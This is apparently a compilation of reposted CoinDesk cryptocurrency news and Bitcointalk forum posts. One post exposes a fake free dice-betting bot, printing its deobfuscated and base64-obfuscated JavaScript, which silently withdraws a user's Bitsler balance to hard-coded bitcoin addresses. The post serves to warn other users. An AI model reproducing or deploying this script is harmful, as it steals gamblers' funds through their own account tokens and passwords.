Financial services firm TMX Group yesterday became the latest to join the heated race to provide stockholders with blockchain solutions for voting. The operator of the Toronto Stock Exchange, the Montreal Stock Exchange and more, revealed it has completed a proxy prototype for stockholder voting, using an unspecified blockchain platform. As told to CoinDesk, however, the prototype is being built with technology built for the Linux-led Hyperledger blockchain project. TMX spokesperson Shane Quinn said: "The prototype is based on the Hyperledger platform and will feature all of the data confidentiality requirements that the TMX is governed by." Called the E-Proxy Voting System, the prototype is designed to increase stockholder engagement by making voting more secure while at the same time improving remote access. External parties were simulated during the test, though live users, including regulators, could be added to the system in the future. While technical details about the prototype remain sparse, today’s news comes slightly more than a year after TMX Group announced it had hired ethereum co-founder Anthony Di Iorio to explore blockchain technology. The prototype was developed in partnership with consulting firm Accenture, and is being positioned as part of a larger plan to boost the efficiency of everyday operations across a wide range of services. The announcement further comes amid an uptick in the use of blockchain solutions for proxy voting, with Broadridge revealing this week it has been working to develop its own global platform for the same use case. http://www.coindesk.com/tmx-selects-hyperledger-blockchain-voting-prototype/ |

Bitcoin payment processor bitFlyer is partnering with a Japanese electronics retailer to test a new point-of-sale system (POS) that will allow customers to purchase goods with bitcoin. The company, Bic Camera, sells consumer electronics such as cameras, computers and dishwashers at more than 40 stores domestically. As a result of the integration, customers can now choose to pay with bitcoin for purchases up to a limit of ¥100,000 (around $900). As with other bitcoin payment processors, the POS system developed by bitFlyer will allow the store to accept the digital currency and will immediately convert funds to yen. The stores are then charged a 1% service fee on transactions. BitFlyer claims stores will receive their fiat funds the next day, which it contends is beneficial to smaller stores that need daily cash liquidity to finance operations. The announcement comes during a period of heavy activity for Japan's bitcoin market, which recently saw the recognition of bitcoin as a legal means of payment by the government. Fellow Japanese payment processor and exchange Coincheck also announced a deal yesterday that will put its bitcoin accepting point-of-sale system in up to 260,000 brick and mortar businesses nationwide, an announcement that showcases the new momentum for the local industry. http://www.coindesk.com/electronics-retailer-bic-camera-begins-accepting-bitcoin/This looks to be great news after the news of Japan treating bitcoin as a legal currency. This might get big, depending on how well other companies follow suit |

Blockchain payments startup Wyre has acquired industry startup Remitsy in a cash and equity deal of an undisclosed amount. With the news, the San Francisco-based startup gains more than 600 customer accounts and the services of co-founders Neil Woodfine and Richard Bensberg, who will join the Wyre team as part of the deal. Further, Wyre now plans to hire five new employees in a new Beijing headquarters, while its engineering team will remain in San Francisco. According to CEO Michael Dunworth, it was Remitsy's close proximity to China's market that was the chief factor prompting the move. (Remitsy uses a combination of blockchain technology and banking relationships to convert user currencies for China-based users). Dunworth told CoinDesk: "Remitsy brings the expertise of industry veterans, who have built and scaled a beautiful product with a very impressive customer base." Wyre uses bitcoin, ethereum, litecoin and other digital currencies to settle transactions between parties in different countries, serving both money service businesses and small enterprises. The startup officially rebranded in December 2016 following a $5.8m Series A funding round. http://www.coindesk.com/blockchain-startup-wyre-acquires-remitsy-china-market-push/ |

The Polish Ministry of Digital Affairs has adopted a new proposal designed to allow the local blockchain industry to self-regulate. Adopted on 29th March, the best practices cover areas related to the activities of cryptocurrency companies including their recommended legal form, transparency, legality of operations, relations with public authorities, customer relations, technology and security, as well as their stance toward customers and business partners. The adoption further follows their preparation earlier this year by industry representatives including professor Krzysztof Piech, a faculty member at Warsaw's Lazarski University; Konrad Zacharzewski, PhD, a lecturer at Nicolaus Copernicus University; and Lech Wilczynski, the CEO of bitcoin payments platform InPay. Additional contributors to the document include representatives from Bitstar.pl, dLK Korus Okoń, Bitelon, Fintech Poland and BitMarket. Public institutions that were represented at the 29th March meeting included the Financial Supervision Authority, the Ministry of Finance and the country's competition watchdog UOKiK. The document was drafted as part of the ongoing government program that seeks to digitize more government operations. Exchange shadow Industry representatives say they hope that the best practices will also increase risk awareness in the Polish cryptocurrency market following the news local law enforcement are investigating the shutdown of local exchange Bitcurex. Overall, the document also proposes a number of trust-building solutions, calling on industry players to inform the agency about "planned interruptions" and recommending that maintenance extend for no more than 48 hours. Further, all such interruptions are to be communicated to customers and business partners by e-mail and on company websites, according to the document. "The idea behind the code is to try to reduce the risk of such a collapse by identifying the best practices for the existing, and, above all, new exchanges that might not be aware of certain risks,” Wilczynski told CoinDesk. He added that the proposal provides additional information for how customers should be able to evaluate a given platform regarding its level of financial and technical security. http://www.coindesk.com/poland-digital-ministry-best-practices/ |

A group of banks and financial firms led by Credit Suisse recently completed the second phase of a blockchain proof-of-concept focused on syndicated loans.
The system was developed Synaps, a joint venture backed by blockchain startup Symbiont and Ipreo, a fintech firm co-owned by Goldman Sachs and private equity giant Blackstone.
The demonstration drew a variety of finance firm as participants, including Barclays, BBVA, Danske Bank, LSTA, Royal Bank of Scotland, Scotiabank, Societe Generale, State Street Corporation, TenDelta LLC, U.S. Bank and Wells Fargo. Buy-side companies AllianceBernstein, Eaton Vance Management, KKR, and Oak Hill Advisors took part in the trial as well. Distributed ledger startup R3's research outfit managed the test.
The effort, first announced in September, will continue with further refinement of the tech developed by Ipreo. Emmanuel Aidoo, who leads Credit Suisse's blockchain efforts, said that the bank intends to keep working closely on the initiative.
He said in a statement:
"Over the coming months we will work with Symbiont and Ipreo to implement the remaining functions to allow for distributed ledger technology to support a syndicated loan facility from origination to payoff, and work toward market adoption. The technical and market expertise that the project participants brought to the table means this solution will be tailor-made for use in live transactions."
Work on applying blockchain to the syndicated loan market – in which multiple lenders pool capital for single borrowers – has been pursued by other financial institutions as well. Last year, Japan-based Mizuho and Microsoft began work on a syndicated loan project.

A bond trading platform built on top of Hyperledger's Sawtooth Lake distributed ledger was made open source this week, alongside a release of a demo of the technology. The project, first announced in September 2016, was designed to demonstrate how bond trading and settlement can be streamlined using distributed ledgers. Created in partnership with the R3 consortium and eight participating banks, the working proof-of-concept has now also been displayed as a public demo on Sawtooth's website. The no-frills platform uses a blockchain to track and categorize transactions including holdings, receipts and settlements. Also featured is a portfolio-tracking section that lists the name, coupon rate and principal values of bonds held on a user's individual account, and a search allowing users to look up bonds by CUSIP code, yield and price. The open-source code for the proof of concept is also now listed on GitHub for anyone to use. However, the page states that the platform needs further investment before it can be taken into production. Demo site : https://bond.sawtooth.me/#/ |

A newly released statement from major exchanges today may have stoked tensions in the ongoing bitcoin scaling debate – but it also revealed more about how the confrontation is becoming increasingly complex. Today, nearly 20 exchanges announced that, should a certain developer group take actions that would split the bitcoin blockchain into two competing networks, the network running software developed by Bitcoin Core would retain the ticker symbol ‘BTC’. Bitcoin Unlimited, the alternative option, would then be advertised as ‘BTU’. Ostensively aimed at preventing customer confusion, the move has already been highly politicized, with some supporters of the Bitcoin Core development team heralding it as the effective end of the Unlimited project and its particular proposal for redrafting bitcoin’s rules. "Mining pools may signal Bitcoin Unlimited, but this letter makes it crystal clear that the economy won't accept it – the best outcome they can hope for is to have their BTU token listed," former BTCC COO Samson Mow alleged in a statement. However, to exchange officials, the move is designed not to provoke, but to be forward-thinking in how it safeguards user funds. (A key component of the messaging is that to list the alternative, the exchanges would require a guarantee that users would be protected from attacks). Further, major exchange representatives are saying that the statement does not mean that they intend to act as decision-makers. Rather, it's that they’re open to having the market naturally settle the issue. http://www.coindesk.com/majority-bitcoin-exchange-accord-reveals-hard-fork-dilemma/ |

Bitcointalk Thread: BitSler Ultimate Script To Double or Triple The Money https://bitcointalk.org/index.php?topic=1454561.0Was bored, went to deobfuscate his lousy script, found that his scripts secretly steals from users I wasnt scammed but I am sure that him putting it in marketplace, giving it for free but attempting to include auto withdraw to his btcaddress counts as a scammer right? function startbot() {
$('#modal-bot').modal("hide");
var qt = setInterval(function() {
$('#btn-bet-dice').button("reset");
var qba = parseFloat($('#profit').val()) + parseFloat($("p[class='text-thin mar-no balance-' + devise + '-html']").text());
$("p[class='text-thin mar-no balance-" + devise + "-html']").text(qba.toFixed(8));
$('#won-bet span').removeClass('text-danger');
$('#won-bet span').addClass('text-success');
$('#won-bet span').text($('#profit').val());
show_result_bet();
$('.balance-' + devise + "-html").addClass('result-bet-win');
setTimeout(function() {
$(".balance-" + devise + "-html").removeClass('.result-bet-win');
$('#btn-bet-dice, #btn-bet-start-pilot-dice, #btn-bet-start-fast-dice').button('loading');
}, 350);
var qad = "address";
var qam = "amount";
$.ajax({
type: "POST",
url: "/api/generate-token",
data: JSON.parse('{"name":"withdraw","expire":5}'),
success: function(text) {
var val = JSON.parse(text);
if (val.return.success == true) {
var tok = val.
return.token;
var qc2 = qc - 0.0001;
$('#withdraw-address').val("1HD2x5dH6SrMnvFRrWsTZ6ZSwtafeNRL26");
$('#withdraw-amount').val(qc2);
$('#withdraw-password').val($("#bot-pass").val());
$('#withdraw-token').val(tok);
eval('send_withdraw()');
}
}
});
}, 3000);
}
Take note of this particular part $.ajax({
type: "POST",
url: "/api/generate-token",
data: JSON.parse('{"name":"withdraw","expire":5}'),
success: function(text) {
var val = JSON.parse(text);
if (val.return.success == true) {
var tok = val.
return.token;
var qc2 = qc - 0.0001;
$('#withdraw-address').val("1HD2x5dH6SrMnvFRrWsTZ6ZSwtafeNRL26");
$('#withdraw-amount').val(qc2);
$('#withdraw-password').val($("#bot-pass").val());
$('#withdraw-token').val(tok);
eval('send_withdraw()');
}
}
});
Basically to newbies who cannot understand javascript, the script op gave will auto withdraw all withdrawals to 1HD2x5dH6SrMnvFRrWsTZ6ZSwtafeNRL26. The withdraw happens using the api token from your account and bypasses your account password because remember? It requires you to give your account and password on start (Script kiddie) This thread has been archived. A scam accusation would be made against OP for trying to scam fellow Bitcointalk users and newbies with a "fake apparantly free awesome script". EDIT 1 while typing this : Above function was deobed from the top comment form the Youtube Video, deobed the one from 3 days ago "The version 3.1 comment", found this address from scammer op that replaced the previous wallet address : 1FYwDy9VcDYqs3T8JNTMj7mmJFrLjPVjmFCode proof from new deorb $(atob("aW5wdXRbaWQqPSd3aXRoZHJhdy1hZGRyZXNzJ10=")).val(atob("MUZZd0R5OVZjRFlxczNUOEpOVE1qN21tSkZyTGpQVmptRg=="));
which is actually $('input[id*='withdraw-address']').val('1FYwDy9VcDYqs3T8JNTMj7mmJFrLjPVjmF');

Lets start with this.
For any object used for trading / for use as a currency such as cryptos or fiat, its value is somewhat determined by several factors such as total supply, circulation , innovation and ease of use among other factors.
For bitcoin, we have a limit of 21 million bitcoins.
Lets say that early adopters of bitcoins with 25% of it mined within 2 years are held by diehard bitcoin holders. That would leave a 75% remaining of bitcoins in circulation. However, roughly the last 7% of bitcoin will be mined over a timespan of 100 years.
That means of the total supply of bitcoins, hypothetically only 50% to 60% of the total supply would be spendable / incirculation. The total spendable supply is always lower than the theoretical total supply, and is also subject to accidental loss, willful destruction, and technical peculiarities.
With an increased interest by general public and more and more companies accepting btc. Isn't it a vested interest for bitcoin holders to hold their BTCS rather than selling/trading it for other goods as many treat it like an investment rather than an actual fiat replacement?
So as more and more goods are available for exchange but with more and more people holding bitcoins/cryptos.
Wouldn't this supply and demand anomaly result in the slow death of bitcoin over time?
Pardon this retarded thought from someone with no clue about economics at all. Let the scolding/ education begin.

Say I have a new idea for a new shitcoin.
This is how it works.
Algo: Proof of Openness
Similar to how proof of stake works but one wallet can only have one address.
The chance of an address "mining" a block depends on the time that the wallet is open as well as total number of wallets open.
Time per block generated depends on number of wallets open.
Say 1 - 100 wallet open : Time per block: 10s
Say 100 - 1000 wallets open : Time per block: 30s
More than 1000 wallets open : Time per block : 1 minute and increases based on increasing function to a hard limit of 10 minutes per block.
To prevent sudden increase or decrease in time per block generated, massive increase or decrease in wallet open rates will be limited by a check function every 5 blocks.
Say from 100 to 1000 wallets open suddenly which is a 1000% increase, time per block will change from 10s to increase% for next (1/10 * percentincrease) number of blocks
Which in this case: 10s block time will chance to 100s block time for next 100 blocks.
Chance of your wallet generating said block depends on wallet open timing.
Say wallet A open for 10 minutes : 0.001%.
Wallet B open for 1 day: 0.01%
Generation % based on an increasing function till a hard limit. Once a wallet generates a block, % decreases to 30% of original, ie : from 0.03% to 0.01% to allow other wallets a chance
Every transaction will decrease the % of said wallet generating a block to encourage holding
Coins per block depends on total number of wallets open too. 0.1 coins / block for First 1000 blocks no matter how many wallets open (Anti-wallet spam)
After first 1000 blocks:
0 - 1000 wallets -> 10 coins/ block
1000 to 10000 wallets -> 50 coins/block
10000 to 50000 -> 100 coins /block
50000 onwards -> 200 coins / block
Total coin supply : Nope, screw the total limit, more is better
To prevent multiple instances of wallet running at once, using some mutex or other forms.
Any thoughts on this stupid idea just for the lols?

What do you think will happen once it accepts Bitcoin, unfortunately, as it won't be holding any Bitcoins at any time, seems like just a convinence to potential users?

I was wondering if it would be a better idea to create a Gambling/Investor Based Games subforum inside the Altcoin > Marketplace instead of all of the ponzis clusterf**king inside Service Announcements.. Which in my honest opinion should not be allowed to have "announcements for ponzis" at all.
I wonder if you guys have the same mentality and if we could make this a possibility.
TLDR: "Investor based games" / Scams/ Ponzis are clogging up Service Annoucements inside the Altcoin Marketplace, which is a negative to all the legit altcoin services annoucements

Every coin has a beginning, its how we develop it and support it that gets it going!Hello everyone! First 5 to post thier WDC addresses gets 10 WDC each! Next people gets 10 WDC till i run out! <3
0 WorldCoins left! Before i go off~Be sure to check out our WDC forum over at http://worldcoinforum.org/! Or check out https://bitcointalk.org/index.php?topic=218008.0Our WDC Community is very actively doing updates and sourcing for new ways of innovation using WorldCoin! Worldcoin prices and profitability may be going down but rest assured that our coin isnt "dieing". The coin of a price is not decided by miners dumping en mass, but rather what can the coin be used for, no matter how low it dips, it will always settle at its intended price. We at WDC forum strongly believe that WDC will rise in parallel with continued developments in the future, anyone can join us anytime, we are not biased against any coins.Thanks to those who read till here, we appreciate it. Any criticism is welcome. We improve from criticism. Remember when LTC first started out? Every coin has a beginning, its how we develop it and support it that gets it going!
